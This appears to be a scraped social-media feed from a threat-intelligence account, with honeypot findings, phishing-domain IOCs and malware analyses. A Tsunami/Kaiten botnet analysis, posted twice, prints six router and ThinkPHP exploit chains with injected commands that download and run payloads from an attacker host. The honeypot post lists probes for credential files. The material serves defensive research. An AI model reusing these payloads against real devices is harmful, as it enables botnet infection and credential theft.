Threat intelligence from real-world attacks: exploited-CVE maps, malicious IP reputation, login-fraud detection & code security. https://xitter.cf/t.co/e1MdLOoSeN
London
Joined September 2026
- Tweets157
- Following1
- Followers77
- Likes69
That's right you can just deploy a sensor and looking at what's coming in, monitoring payloads.
I deployed a decoy mimicking F5 BIG-IP using @Huntbackio, configured with a couple of known vulnerabilities (TMUI login page, phpinfo exposure) to see what internet-wide scanning looks like against it. Over roughly 4 hours the decoy logged 73 requests from 20 distinct source IPs.
Most of the traffic was generic mass scanning. Eight IPs (34.140.3.155, 185.213.155.249, 43.133.69.37, 66.132.195.40, 93.152.223.44, 44.220.188.120, 192.248.150.180, 49.51.38.193) hit /tmui/login.jsp, trying CVE-2023-46747, the F5 BIG-IP TMUI authentication bypass. That’s the one tag in the capture that’s actually relevant to what the decoy was emulating, and the pattern was consistent across all eight: a login-page probe followed by a root-path grab to fingerprint the response.
One IP, 93.152.223.44, stood out from the rest. In a 5-second burst it hit /tmui/login.jsp alongside /.git/config, /.git-credentials, /.aws/config, /.aws/credentials, /.env, and /azureauth.json, with duplicate hits on each path. That’s an automated secrets-harvesting bot, not a targeted actor, bundling a BIG-IP probe into a generic sweep for exposed cloud credentials and git configs.
A few other IPs tried things that don’t belong to F5 at all. 112.224.219.7 sent two POSTs to /forms/pdfengines/metadata/write, which the decoy tagged as CVE-2026-40281, but that CVE is a Gotenberg PDF-conversion API bug, nothing to do with BIG-IP. 195.182.16.23 hit /SDK/webLanguage, tagged CVE-2021-36260, a Hikvision camera command injection path. 93.152.223.44’s .env request was also tagged CVE-2026-39364, a Vite dev-server flaw. All three are the decoy auto-tagging by path signature rather than actual service context, bots replaying the same exploit payloads against every host on their scan list regardless of what’s listening. I’m treating those as mistagged noise, not real hits.
The rest (39.34.140.89 on /boaform/admin/formLogin, 66.132.195.40 and 66.132.186.162 on /phpinfo, 165.227.188.167 on /squid-internal-mgr/cachemgr.cgi, and a string of single GET / requests from IPs across GCP and AWS ranges) is standard background scanner traffic, consistent with what any public-facing BIG-IP instance sees.
#ThreatIntel #CTI #Honeypot #F5 #VulnerabilityScanning #CyberSecurity #ThreatHunting #AttackSurface #NetworkSecurity
Exactly what we’ve said all along! Exploitation attempts!
AI PoC just create noise…
❗️ A developer hid a Bitcoin key on a PHP server left unpatched against PHP2Shell, the critical flaws fixed on Oct 21, and dared anyone to steal it.
17 hours on, the wallet holds ~$2,000 and nobody has taken it.
The developer says someone is crashing PHP but "still no RCE yet".
Readers added context they thought people might want to know
The GitHub repository cited as the source explicitly acknowledges in its README that the supposed exploit is fabricated: “And of course it’s fake. Duh. Note: No harm intended, purely for fun.”
github.com/0x1c1101/CVE-2…
🚨 #PHP2Shell (CVE-2026-109618, CVE-2026-109619): our decoys caught probes 5h18m BEFORE PHP's 14:00 UTC patch on 21 Oct.
~30h after it, 77.90.185[.]20 was sending working payloads that drop a RedTail cryptominer from 217.60.102[.]5, posing as Chrome.
huntback.io/blog/php2shell-p…
Great analysis from @TheM3gatr0n ! Have a read.
IoT botnets are a plague and can do a lot of damage, this analysis allows us to understand more about the architecture and deployment of these.
During routine threat actor infrastructure hunting I found a multi-arch IoT botnet staging server at 176[.]65[.]132[.]7, serving four Tsunami/Kaiten binaries (ARM, MIPS, x86, MPSL) with zero auth on the directory[.]
Pulled Tsunami[.]x86 and ran static analysis.
It’s not just a payload, it’s a self-propagation module. Six hardcoded exploit chains baked in:
GPON ONT routers (CVE-2018-10561/10562): POST to /GponForm/diag_Form?style/ with User-Agent: Hello, World, injecting through the dest_host field:
wget hxxp://157[.]230[.]218[.]54/bin -O /tmp/gaf; sh /tmp/gaf
Huawei HG532 (CVE-2017-17215): POST to /ctrlt/DeviceUpgrade_1, Digest auth header spoofed (username="dslf-config", realm="HuaweiHomeGateway"), command embedded in the SOAP NewStatusURL field:
wget -g 157[.]230[.]218[.]54 -l /tmp/binary -r /bins/Tsunami[.]mips; chmod 777 /tmp/binary; /tmp/binary Tsunami[.]Huawei
Generic routers via tmUnblock[.]cgi: command injected through the ttcp_ip parameter, spoofing User-Agent: python-requests/2[.]20[.]0:
cd /tmp; rm -rf Tsunami[.]mpsl; wg_et hxxp://157[.]230[.]218[.]54/bins/Tsunami[.]mpsl; chmod 777 Tsunami[.]mpsl; [.]/Tsunami[.]mpsl linksys
Realtek SDK devices: POST to /picsdesc[.]xml, SOAP AddPortMapping action, command embedded in NewInternalClient:
cd /var/; wg_et hxxp://157[.]230[.]218[.]54/bins/Tsunami[.]mips; chmod +x Tsunami[.]mips; [.]/Tsunami[.]mips Tsunami[.]Realtek
ThinkPHP CMS: GET to /index[.]php?s=/index/think/app/invokefunction&function=call_user_func_array, self-identifying as User-Agent: Tsunami/2[.]0:
wg_et hxxp://157[.]230[.]218[.]54/bins/Tsunami[.]x86 -O thonkphp; chmod 777 thonkphp; [.]/thonkphp ThinkPHP; rm -rf thinkphp
Zyxel gear: POST to /cgi-bin/ViewLog[.]asp, spoofing User-Agent: python-requests/2[.]20[.]0, direct shell download:
/bin/busybox wg_et hxxp://157[.]230[.]218[.]54/zyxel[.]sh; chmod +x zyxel[.]sh; [.]/zyxel[.]sh
Every chain calls back to the same second-stage host: 157[.]230[.]218[.]54[.] Two of the six (HG532, Realtek) also carry a self-tag telling the binary which device type it just compromised, so an argv capture from an infected host hands you the infection vector for free. The ThinkPHP chain’s User-Agent: Tsunami/2[.]0 is the cleanest hunt signature of the set, it self-identifies in plaintext.
Found using @Huntbackio
Huntback.io retweeted
During routine threat actor infrastructure hunting I found a multi-arch IoT botnet staging server at 176[.]65[.]132[.]7, serving four Tsunami/Kaiten binaries (ARM, MIPS, x86, MPSL) with zero auth on the directory[.]
Pulled Tsunami[.]x86 and ran static analysis.
It’s not just a payload, it’s a self-propagation module. Six hardcoded exploit chains baked in:
GPON ONT routers (CVE-2018-10561/10562): POST to /GponForm/diag_Form?style/ with User-Agent: Hello, World, injecting through the dest_host field:
wget hxxp://157[.]230[.]218[.]54/bin -O /tmp/gaf; sh /tmp/gaf
Huawei HG532 (CVE-2017-17215): POST to /ctrlt/DeviceUpgrade_1, Digest auth header spoofed (username="dslf-config", realm="HuaweiHomeGateway"), command embedded in the SOAP NewStatusURL field:
wget -g 157[.]230[.]218[.]54 -l /tmp/binary -r /bins/Tsunami[.]mips; chmod 777 /tmp/binary; /tmp/binary Tsunami[.]Huawei
Generic routers via tmUnblock[.]cgi: command injected through the ttcp_ip parameter, spoofing User-Agent: python-requests/2[.]20[.]0:
cd /tmp; rm -rf Tsunami[.]mpsl; wg_et hxxp://157[.]230[.]218[.]54/bins/Tsunami[.]mpsl; chmod 777 Tsunami[.]mpsl; [.]/Tsunami[.]mpsl linksys
Realtek SDK devices: POST to /picsdesc[.]xml, SOAP AddPortMapping action, command embedded in NewInternalClient:
cd /var/; wg_et hxxp://157[.]230[.]218[.]54/bins/Tsunami[.]mips; chmod +x Tsunami[.]mips; [.]/Tsunami[.]mips Tsunami[.]Realtek
ThinkPHP CMS: GET to /index[.]php?s=/index/think/app/invokefunction&function=call_user_func_array, self-identifying as User-Agent: Tsunami/2[.]0:
wg_et hxxp://157[.]230[.]218[.]54/bins/Tsunami[.]x86 -O thonkphp; chmod 777 thonkphp; [.]/thonkphp ThinkPHP; rm -rf thinkphp
Zyxel gear: POST to /cgi-bin/ViewLog[.]asp, spoofing User-Agent: python-requests/2[.]20[.]0, direct shell download:
/bin/busybox wg_et hxxp://157[.]230[.]218[.]54/zyxel[.]sh; chmod +x zyxel[.]sh; [.]/zyxel[.]sh
Every chain calls back to the same second-stage host: 157[.]230[.]218[.]54[.] Two of the six (HG532, Realtek) also carry a self-tag telling the binary which device type it just compromised, so an argv capture from an infected host hands you the infection vector for free. The ThinkPHP chain’s User-Agent: Tsunami/2[.]0 is the cleanest hunt signature of the set, it self-identifies in plaintext.
Found using @Huntbackio
Searching for the Nuclear Control Room
What an exposed Windows intrusion workbench reveals about SCADA, PLC and critical-infrastructure discovery.
huntback.io/blog/searching-f…
#threatintel #SCADA #iot #CyberSecurity
Very cool write up from @J4ck3LSyN !
Write-up on a malware found by @JustWantToQ1 & @Huntbackio I ran RE on earlier today, including samples, analysis, decomp, c2-replay & IoC's....
> jackalsyn.com/posts/malAnaly…
#CyberSecurity #infosec
@malwrhunterteam @scanmalware
WEB_RAT is still alive.
A 990-byte "config.json" on 176.12.71[.]122 turned out to be a SalatStealer panel bootstrap. Live TLS certs tie it to the stealer's rotating C2: wruser[.]org, salator[.]es, websalat[.]top. 🧵⬇️
#ThreatIntel #SalatStealer #Infostealer
When those domains die, newer builds read a replacement C2 IP from a TON blockchain record (webratpanel[.]ton). Seize one server and the bots find the next.
Which TBH, is super cool!
Full map, IOCs and hunting guidance
huntback.io/blog/webrat-sala…
#CTI #Malware #DFIR
🚨 Fresh Huntback discovery: a rotating Mercari impersonation cluster hosted on:
IP: 47[.]74[.]50[.]121
ASN: AS45102 — Alibaba US Technology Co., Ltd.
Huntback captured at least 14 randomly named .cn domains serving near-identical Japanese-language Mercari clones. The pages reproduce Mercari’s branding and interface while loading assets from the legitimate Mercari CDN, helping the fraudulent sites appear convincing.
Newest capture:
• gvagsb[.]cn
• Captured: 2026-10-17 00:27 UTC
• SHA-256: e97f83c149f628222499598205c3b1e6f08eedf7c00aaba8ce4e91872959c2fc
• Approximate page size: 552 KB
Associated domains observed on the same infrastructure:
romcu[.]cn
cmfbi[.]cn
sxgfy[.]cn
mqpml[.]cn
johmy[.]cn
hoexq[.]cn
ymlrr[.]cn
mhtqk[.]cn
mrssfq[.]cn
rqszsx[.]cn
xtmafe[.]cn
jlysss[.]cn
jbivjg[.]cn
Shared infrastructure and near-identical page contents strongly indicate a rotating phishing deployment designed to replace domains as they are detected or blocked.
The pages reference legitimate content from:
web-jp-assets-v2[.]mercdn[.]net
it appears the operators are remotely loading genuine assets to make the cloned pages look authentic.
The Japanese Anti-Phishing Council has previously warned that Mercari phishing campaigns use cloned websites and .cn domains.
Huntback’s latest captures show that this tradecraft remains active.
Block and investigate:
47[.]74[.]50[.]121
#Huntback #ThreatIntel #Phishing #Mercari #CyberSecurity #OSINT #IOC #BrandProtection #Fraud #DFIR #SOC #CTI
Great work by @_AkatsukiLegion, @TIE__SUN and @curious_drac0 tearing apart this NetScaler pipeline (CVE-2026-88771/72), from a single console all the way to a 7-stage DDoS botnet drop.
Love seeing huntback telemetry in the hands of people who actually chase it down. 🔍
Akatsuki Legion exposed a pipeline targeting #Citrix #NetScaler via CVE-2026-88771/72. By intercepting a console at 66.154.127[.]156, researchers found a 7-stage machine dropping a DDoS botnet. Respect to @Huntio for backing up the data and @Huntbackio for rich telemetry.
🔗👇
Last week Censys mapped the DarkSword iOS-exploit delivery infrastructure.
We went back to one staging host that was still open. It had grown into a 484-artifact offensive workbench: a second operation sitting right next to the iOS delivery kit.
Here’s what was on it 🧵
Full analysis, methodology and complete IOCs: huntback.io/blog/darksword-c…